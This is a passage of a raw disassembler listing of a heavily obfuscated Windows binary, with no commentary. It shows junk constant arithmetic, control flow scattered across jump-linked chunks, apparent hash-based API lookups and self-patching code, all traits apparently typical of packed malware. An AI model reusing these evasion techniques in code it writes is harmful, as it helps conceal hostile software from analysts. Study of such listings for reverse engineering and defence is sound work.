loc_4372EE:				; CODE XREF: sub_43C17E:loc_43C190j
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jnb	loc_444D67
		push	offset sub_447AE3
		jmp	loc_43935B
; END OF FUNCTION CHUNK	FOR sub_43C17E
; ---------------------------------------------------------------------------
		mov	eax, 0E5C827FEh
		call	sub_43CA1A
		mov	ds:off_41E090, eax
		call	sub_43BDB0
; START	OF FUNCTION CHUNK FOR sub_44B06F

loc_43731D:				; CODE XREF: sub_44B06F+2FA5j
		jmp	sub_4397E6
; END OF FUNCTION CHUNK	FOR sub_44B06F
; ---------------------------------------------------------------------------
		push	edi
		push	73BBFFE8h
		pop	edi
		rol	edi, 16h
		and	edi, 0F3626799h
		add	edi, 154E0DB6h
		jmp	loc_43D95E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_43733E:				; CODE XREF: sub_448C77-6E64j
					; sub_448EB6+171j
		rol	eax, 0Bh
		push	eax
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397E6

loc_437348:				; CODE XREF: sub_4397E6+3j
					; y22d6.y.:00441E86j
		jmp	loc_449FBC
; END OF FUNCTION CHUNK	FOR sub_4397E6

; =============== S U B	R O U T	I N E =======================================



sub_43734D	proc near		; CODE XREF: sub_4409F4:loc_443C58p

; FUNCTION CHUNK AT 00438036 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C85A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D463 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441309 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_43C85A
sub_43734D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_437353:				; CODE XREF: sub_439595+1444Aj
		pop	ebx
		and	ebx, 0B5D10EE0h
		xor	ebx, 0D4D6BAE8h
		add	ebx, 4E88E55Dh
		jb	loc_4420DE
		jl	nullsub_159
		and	ebx, 8A2FF7A5h
		not	ebx
		jmp	loc_4482A8
; END OF FUNCTION CHUNK	FOR sub_439595
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_43737F:				; CODE XREF: sub_44B81B-D5EFj
		call	sub_447A01

loc_437384:				; CODE XREF: sub_448EB6+2CEj
		jmp	loc_4457B3
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C5

loc_437389:				; CODE XREF: sub_4418C5+Aj
		jmp	loc_43E9C7
; END OF FUNCTION CHUNK	FOR sub_4418C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_43738E:				; CODE XREF: sub_44066C+B0F6j
		popf

loc_43738F:				; CODE XREF: sub_44066C:loc_4412D2j
		call	sub_43760A
		mov	edx, 0DD5E106Fh
		call	sub_44D293
		jmp	sub_440B13
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_4373A3:				; CODE XREF: sub_43C242:loc_43EA17j
					; sub_43C242+27E9j
		or	edx, 0CABD76EDh
		add	edx, 3545ADC3h
		call	sub_448006

loc_4373B4:				; CODE XREF: y22d6.y.:0043F52Aj
		jmp	loc_43C3F0
; END OF FUNCTION CHUNK	FOR sub_43C242

; =============== S U B	R O U T	I N E =======================================



sub_4373B9	proc near		; CODE XREF: y22d6.y.:loc_43BAFBp

; FUNCTION CHUNK AT 00441760 SIZE 00000020 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		push	0D29FBB79h
		pop	edi
		jmp	loc_441760
sub_4373B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_4373C9:				; CODE XREF: sub_43AD2F+8C81j
		xor	edx, esi

loc_4373CB:				; CODE XREF: sub_43AD2F:loc_44940Fj
		call	sub_43760A
		mov	edx, 4CB976E9h
		call	sub_44D293
		push	eax
		ror	eax, 11h
		mov	ds:dword_441860, eax
		jmp	nullsub_326
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C69

loc_4373E9:				; CODE XREF: sub_441C69-4108j
		cmp	ecx, 0A4C328F3h
		jmp	loc_437A16
; END OF FUNCTION CHUNK	FOR sub_441C69
; ---------------------------------------------------------------------------

loc_4373F4:				; CODE XREF: y22d6.y.:00444287j
		jnz	loc_44D68F
		jmp	loc_44D6A6
; ---------------------------------------------------------------------------
aQhU?nybLAbTU	db 'Qh=u?­YÁL$}Ét]Ò¹#',0Dh,'ã',0 ; DATA XREF: y22d6.y.:0044D99Do
a@		db '@',0
; ---------------------------------------------------------------------------
		add	ecx, 102908A0h
		jmp	loc_44CC3C
; ---------------------------------------------------------------------------
		mov	ebx, [edx]
		jmp	loc_440E75
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E11C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_324. PRESS KEYPAD	"+" TO EXPAND]
		db 80h,	37h, 25h
		dd 8B5A0000h, 7BE92404h, 87000097h, 525F243Ch, 12A86E8h
		dd 4822E900h, 8D680001h, 0E90044CCh, 0B824h, 0A5E9F585h
		dd 0F0000A4h, 0AEE181h,	0C3C15300h, 6FC38114h, 87CC97BBh
		dd 0A3E9241Ch, 0C1000055h, 0D28116E8h, 0FDDE8819h, 2B46E9h
		dd 24348700h, 0F008A5Eh, 1003A81h, 0DC9BE900h, 0F6810000h
		dd 7036B350h, 94FFEE81h, 0CE8148BFh, 8A8710CCh,	6F4E880Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_4374AE:				; CODE XREF: sub_442C0C+561Aj
		jmp	loc_4418E2
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_4374B3:				; CODE XREF: y22d6.y.:00447C49j
		jmp	loc_446405
; ---------------------------------------------------------------------------
		add	ebp, 3BAB3F22h
		jmp	loc_44B391
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		push	5D1D1714h
		pop	eax
		and	eax, ds:4000E7h
		rol	eax, 13h
		add	eax, 0D841E290h
		jmp	loc_441CC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4374E1:				; CODE XREF: sub_439051+ABCBj
		pop	esi
		add	esi, 0A5EA64ACh
		sub	esi, 7DF6D3C8h
		and	esi, 1537F4F0h
		xor	esi, 46E92E0Ch
		add	eax, esi
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_440FD0
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_437504:				; CODE XREF: y22d6.y.:0044BB7Cj
		or	esi, 62C9E11Ah
		add	esi, 156626BDh
		mov	[esi], eax
		pop	esi
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_361. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_437514:				; CODE XREF: sub_441A2B-957j
		jmp	loc_444D17
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------

loc_437519:				; CODE XREF: y22d6.y.:0043EF43j
		jmp	loc_443923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_43751E:				; CODE XREF: sub_43CBD3+C89Fj
					; sub_44B489-1003j
		rol	eax, 11h
		push	eax
		jmp	loc_43DD8C
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
		push	31089BF2h
		pop	eax
		or	eax, 7019E7FAh
		jns	loc_449AD6

loc_437539:				; CODE XREF: y22d6.y.:00445330j
		jmp	loc_44547E
; ---------------------------------------------------------------------------

loc_43753E:				; CODE XREF: y22d6.y.:loc_44D720j
		jz	loc_448EA4
		jmp	loc_44A52D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_437549:				; CODE XREF: sub_4432B8:loc_43D9F9j
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		jmp	loc_443948
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_437559:				; DATA XREF: sub_44C4E8+Do
		call	sub_442060
		mov	eax, [esp]
		push	edx
		push	7992B6BBh
		pop	edx
		xor	edx, 275013A8h
		jmp	loc_445BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_437573:				; CODE XREF: sub_440280-7459j
		jnb	loc_4431C8
		xor	ebx, ebp
		jmp	loc_44BA63
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_437580:				; CODE XREF: sub_44B1D2+1697j
		jnb	loc_43A1EF
		js	loc_44770A
		not	edi
		jmp	loc_44106E
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F8FE

loc_437593:				; CODE XREF: sub_43F8FE+C5A3j
		mov	ebx, [ebx]
		call	sub_44DA87
; END OF FUNCTION CHUNK	FOR sub_43F8FE
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43759A:				; CODE XREF: sub_448EB6+156j
		jmp	loc_44B4D0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4375A0:				; CODE XREF: sub_438B66+8C3Ej
		jmp	loc_43BAC6
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_4375A5:				; CODE XREF: sub_43FAC6+9j
		jmp	loc_443D2A
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_4375AA:				; CODE XREF: sub_44CB3F:loc_4372E4j
		mov	ds:dword_41E154, eax
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		jmp	loc_44208A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D6B

loc_4375C7:				; CODE XREF: sub_440D6B+Dj
		jmp	sub_44193A
; END OF FUNCTION CHUNK	FOR sub_440D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44374A

loc_4375CC:				; CODE XREF: sub_44374A-2E3Cj
		jmp	loc_442888
; END OF FUNCTION CHUNK	FOR sub_44374A
; ---------------------------------------------------------------------------
		mov	ebp, esi
		jmp	sub_44E357
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_4375D8:				; CODE XREF: sub_43F422:loc_43F487j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		push	offset sub_4375F1
		jmp	locret_43B612
; END OF FUNCTION CHUNK	FOR sub_43F422

; =============== S U B	R O U T	I N E =======================================



sub_4375F1	proc near		; DATA XREF: sub_43F422-7E3Bo
		shr	eax, 6
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_444FAD
sub_4375F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB31

loc_4375FF:				; CODE XREF: sub_43F422+6j
					; sub_43AB31+10D19j
		inc	[ebp+var_8]
		inc	[ebp+var_C]
		jmp	loc_445301
; END OF FUNCTION CHUNK	FOR sub_43AB31

; =============== S U B	R O U T	I N E =======================================



sub_43760A	proc near		; CODE XREF: sub_44066C:loc_43738Fp
					; sub_43AD2F:loc_4373CBp ...
		call	sub_445DB1

loc_43760F:				; DATA XREF: sub_4432B8-2BBDo
		mov	eax, [esp+0]
		call	sub_4480DE
		retn
sub_43760A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_437618:				; CODE XREF: sub_4431CD-B1CBj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
		db 0E3h, 0Eh, 0AEh
dword_437620	dd 1AE8DF41h		; DATA XREF: sub_44439D:loc_43D97Cr
					; y22d6.y.:loc_449A0Dr
; ---------------------------------------------------------------------------
		call	sub_43A795	; RtlGetLastWin32Error
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_437629:				; CODE XREF: sub_43E86C+CEA2j
		jmp	loc_447E35
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------

loc_43762E:				; CODE XREF: y22d6.y.:00442805j
		jmp	loc_4414A3
; ---------------------------------------------------------------------------

loc_437633:				; DATA XREF: sub_43D7AB+Ao
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx-10h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		jmp	loc_437652
; ---------------------------------------------------------------------------

loc_437647:				; CODE XREF: y22d6.y.:004475EFj
		jl	loc_441B1E

loc_43764D:				; CODE XREF: y22d6.y.:0044AE56j
		jmp	locret_438A22
; ---------------------------------------------------------------------------

loc_437652:				; CODE XREF: y22d6.y.:00437642j
		jmp	loc_43795C
; ---------------------------------------------------------------------------
		push	0CD557EC3h
		jmp	loc_441B11
; ---------------------------------------------------------------------------

loc_437661:				; CODE XREF: y22d6.y.:0044BDD2j
		mov	ebp, [edx]
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_437663:				; CODE XREF: sub_447C6F:loc_44D715j
		add	esi, 0DBCEA8A8h
		xchg	esi, [esp+4+var_4]
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------
		call	sub_441B2E
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_437676:				; CODE XREF: sub_4441D9+A251j
		jmp	loc_44813D
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------

loc_43767B:				; CODE XREF: y22d6.y.:004474D5j
		jmp	locret_43BDE6

; =============== S U B	R O U T	I N E =======================================



sub_437680	proc near		; CODE XREF: y22d6.y.:004420D9j
					; sub_43A041+1217Fp

; FUNCTION CHUNK AT 00438D7C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BB05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A9CB SIZE 0000000E BYTES

		xchg	edi, [esp+0]
		pop	edi
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		mov	eax, [ebp-8]
		mov	al, [eax]
		jmp	loc_43BB05
sub_437680	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_437697:				; CODE XREF: sub_44AA69:loc_4443D9j
		xchg	ebx, [esp+0]
		jmp	loc_4494C3
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_43769F:				; CODE XREF: sub_439F5A-22A8j
		push	ecx
		push	3F68FF9Ch
		pop	ecx
		add	ecx, 0CBFBD668h
		jns	loc_4438C8
; END OF FUNCTION CHUNK	FOR sub_439F5A
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_4376B2:				; CODE XREF: sub_43872E-1537j
		jmp	loc_43A47E
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
		mov	eax, 1CF30567h
		add	esi, 0AF76374Ch
		jmp	loc_4438C8
; ---------------------------------------------------------------------------

loc_4376C7:				; CODE XREF: y22d6.y.:loc_449E98j
		add	eax, ebp
		add	eax, 41667BD9h
		mov	eax, [eax]
		push	edx
		push	eax
		pop	edx
		xchg	edx, [esp]
		jmp	loc_43CE9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_4376DC:				; CODE XREF: sub_43B252-204Fj
		jz	loc_44E2FC
		jmp	loc_4415F6
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_4376E7:				; CODE XREF: sub_44807C-288Bj
		jnz	loc_443016
		jmp	loc_444478
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC92

loc_4376F2:				; CODE XREF: sub_43EC92+13j
		jz	loc_449FD9
		jmp	loc_43FFD5
; END OF FUNCTION CHUNK	FOR sub_43EC92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_4376FD:				; CODE XREF: sub_43A9C6+3E98j
		sub	ebp, ebx
		rol	eax, 14h
		and	ecx, 5088D9C1h

loc_437708:				; CODE XREF: sub_44123E:loc_43929Fj
					; sub_44123E-A3Aj ...
		jmp	loc_4409A5
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------
		jmp	loc_4488C3

; =============== S U B	R O U T	I N E =======================================



sub_437712	proc near		; CODE XREF: y22d6.y.:0043A78Aj
					; sub_44A359-6679j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A103 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBF1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C425 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E5E3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E6D5 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-24h]
		mov	dx, [eax+2]
		mov	eax, [ebp-14h]
		push	edi
		jmp	loc_43C425
sub_437712	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_437726:				; CODE XREF: sub_437B43+7973j
		adc	esi, 0B51EC335h
		jmp	loc_44C90C
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D22A

loc_437731:				; CODE XREF: sub_44D22A-1359Cj
		xor	ebx, 5BC2EC9h
		push	edx
		jmp	loc_43BE0C
; END OF FUNCTION CHUNK	FOR sub_44D22A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43773D:				; CODE XREF: sub_44BBBA:loc_4422E1j
		xchg	esi, ebp
		and	eax, 0EB267F04h
		pop	esi
		jmp	loc_439D1D
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_43774B:				; CODE XREF: sub_444D45:loc_437A62j
		pop	ebx

loc_43774C:				; CODE XREF: sub_43FC1E+Cj
					; y22d6.y.:00445C21j
		xchg	eax, edx
		call	sub_44D293
		retn
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_437753:				; CODE XREF: sub_44B1D2-3625j
		jmp	loc_445C8B
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_437758:				; CODE XREF: sub_44807C:loc_43E33Ej
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_443556
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_437766:				; CODE XREF: sub_43C6D7:loc_43D1EBj
		and	edx, 7BF439Ah
		rol	edx, 15h
		or	edx, 6A1EB871h
		xor	edx, 2A5E9759h
		add	edx, 0AF033282h
		xchg	edx, [esp+0]
		jmp	loc_4463C2
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------

loc_437789:				; CODE XREF: y22d6.y.:00442135j
		cmp	ebp, ebx
		jmp	loc_447E77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_437790:				; CODE XREF: sub_438B66+F89Cj
		jz	loc_43A519
		xor	ecx, esi
		jmp	loc_4454A8
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_43779D:				; CODE XREF: sub_43C712:loc_4426A5j
		rol	esi, 2
		jb	loc_43A3B8
; END OF FUNCTION CHUNK	FOR sub_43C712
; START	OF FUNCTION CHUNK FOR sub_440330

loc_4377A6:				; CODE XREF: sub_440330+5D40j
		jmp	loc_43A2BB
; END OF FUNCTION CHUNK	FOR sub_440330
; ---------------------------------------------------------------------------
		jle	loc_447A3D
		xchg	esi, ecx
		jmp	loc_43A3B8
; ---------------------------------------------------------------------------
		mov	ecx, edi
		jmp	sub_440330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4377BF:				; CODE XREF: sub_4432B8-1130j
					; sub_4432B8:loc_4458ACj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B229
		jmp	loc_4419C1
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

locret_4377D0:				; CODE XREF: y22d6.y.:00449C42j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC61

loc_4377D1:				; CODE XREF: sub_44AC61+13j
		jmp	loc_4450EC
; END OF FUNCTION CHUNK	FOR sub_44AC61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399C6

loc_4377D6:				; CODE XREF: sub_4399C6+Fj
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		push	0AAC30F41h
		pop	edi
		xor	edi, 0BD7512E1h
		rol	edi, 7
		and	edi, ds:4000E1h
		push	offset sub_449880
		jmp	loc_440F79
; END OF FUNCTION CHUNK	FOR sub_4399C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_4377FA:				; CODE XREF: sub_440494+9j
		sub	al, 99h
		mov	edx, [ebp-4]
		push	offset sub_437B01
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------

loc_437809:				; CODE XREF: y22d6.y.:0043A4B7j
		mov	esi, 5F09A52Ch
		xchg	esi, [esp]
		pop	esi
		pop	edx
		jns	loc_44DAB8
		jmp	loc_44D26D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_43781E:				; CODE XREF: sub_443EA2:loc_43CFDBj
		call	sub_44D293
		push	eax
		ror	eax, 3
		mov	ds:dword_441968, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_443EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43782E:				; CODE XREF: sub_4432B8+1B6j
		jmp	loc_4406EE
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_437833	proc near		; CODE XREF: sub_443EA2j

; FUNCTION CHUNK AT 0043A33F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004429EB SIZE 00000015 BYTES

		push	ebp
		jmp	loc_43A33F
sub_437833	endp

; ---------------------------------------------------------------------------

loc_437839:				; CODE XREF: y22d6.y.:loc_43A2DCj
		xor	ebx, 78090FEh
		add	ebx, 0D461C5A8h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_315
		jmp	loc_43CAB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_437853:				; CODE XREF: sub_44D7E0-141F6j
		push	0DE42FA14h
		pop	eax
		rol	eax, 3
		test	eax, 2000h
		jmp	loc_44BFB4
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_437867:				; CODE XREF: sub_44E5C7-15C8Aj
		shr	eax, 0Dh
		jmp	loc_44C761
; ---------------------------------------------------------------------------

loc_43786F:				; CODE XREF: sub_44E5C7-137B9j
		sub	al, 99h
		push	812F10E2h
		pop	edx
		sub	edx, 0FE11BEB4h
		or	edx, 0F7A5EE22h
		add	edx, 40BC347Bh
		jmp	loc_43B6D1
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------

loc_43788E:				; CODE XREF: y22d6.y.:0043DA76j
		adc	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_437890	proc near		; CODE XREF: y22d6.y.:0043E888p
		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [ebp-4]
		push	offset loc_4456AA
		jmp	loc_43CECB
sub_437890	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_4378A1:				; CODE XREF: sub_43B252+3186j
		jo	loc_4488D8

loc_4378A7:				; CODE XREF: sub_43B252:loc_448670j
		push	18BB7D20h
		pop	eax
		add	eax, 17045307h
		xor	eax, 13422707h
		call	sub_43F7FF
		rol	eax, 2
		add	eax, 8C445B8Eh
		jmp	loc_441CA8
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
		and	esi, ebx
		jmp	loc_43C6BF
; ---------------------------------------------------------------------------

loc_4378D3:				; CODE XREF: y22d6.y.:00437298j
		rol	ecx, 1Ch
		mov	ecx, eax
		sbb	ebp, 33C7BD3Eh
; START	OF FUNCTION CHUNK FOR sub_43E39E

loc_4378DE:				; CODE XREF: sub_43E39E:loc_43728Bj
		or	ecx, 0B193177Dh
		rol	ecx, 12h
		jmp	loc_448FA1
; END OF FUNCTION CHUNK	FOR sub_43E39E
; ---------------------------------------------------------------------------

loc_4378EC:				; CODE XREF: y22d6.y.:004462FEj
		ja	loc_43B1D3
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_441000

loc_4378F3:				; CODE XREF: sub_441000:loc_43BB6Bj
		add	ecx, 2894B3BFh
		xchg	ecx, [esp+0]
		jmp	loc_43848C
; END OF FUNCTION CHUNK	FOR sub_441000

; =============== S U B	R O U T	I N E =======================================



sub_437901	proc near		; CODE XREF: y22d6.y.:00438637j
					; sub_44B17B-123ABp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437951 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BE07 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043CCA7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043D19A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D8C0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004456D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004457D1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446DF9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448169 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449D11 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C660 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CD29 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		push	196A1813h
		shr	ecx, 7
		jmp	loc_43D8C0
sub_437901	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437913	proc near		; DATA XREF: sub_44374A-127Eo

; FUNCTION CHUNK AT 0043ED0B SIZE 00000026 BYTES

		add	eax, 0F9501007h
		rol	eax, 2
		push	ecx
		push	0BA6C9D11h
		pop	ecx
		or	ecx, 229EB991h
		jmp	loc_43ED0B
sub_437913	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43792F:				; CODE XREF: sub_44633F-4DDCj
		jmp	loc_441B47
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_437934:				; CODE XREF: sub_44E242:loc_43E88Dj
		push	241B2940h
		pop	edx
		or	edx, 887A8C16h
		and	edx, 8F58CAAAh
		add	edx, 73EB5FA9h
		jmp	loc_43BC88
; END OF FUNCTION CHUNK	FOR sub_44E242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_437951:				; CODE XREF: sub_437901:loc_4456D0j
		jz	loc_43D19A
		jmp	loc_44C660
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------

loc_43795C:				; CODE XREF: y22d6.y.:loc_437652j
		mov	eax, [eax-10h]
		shr	eax, 6
		mov	[ebp-10h], eax
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		jmp	loc_43C190
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_437970:				; CODE XREF: sub_443EA2:loc_43C2AAj
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441968
		or	eax, eax
